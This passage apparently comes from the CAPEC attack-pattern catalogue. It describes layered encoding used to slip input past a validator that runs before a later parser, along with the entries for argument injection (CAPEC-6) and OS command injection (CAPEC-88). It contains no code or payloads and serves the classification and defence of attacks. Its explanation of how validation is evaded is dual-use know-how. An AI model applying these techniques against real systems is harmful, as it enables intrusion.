An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.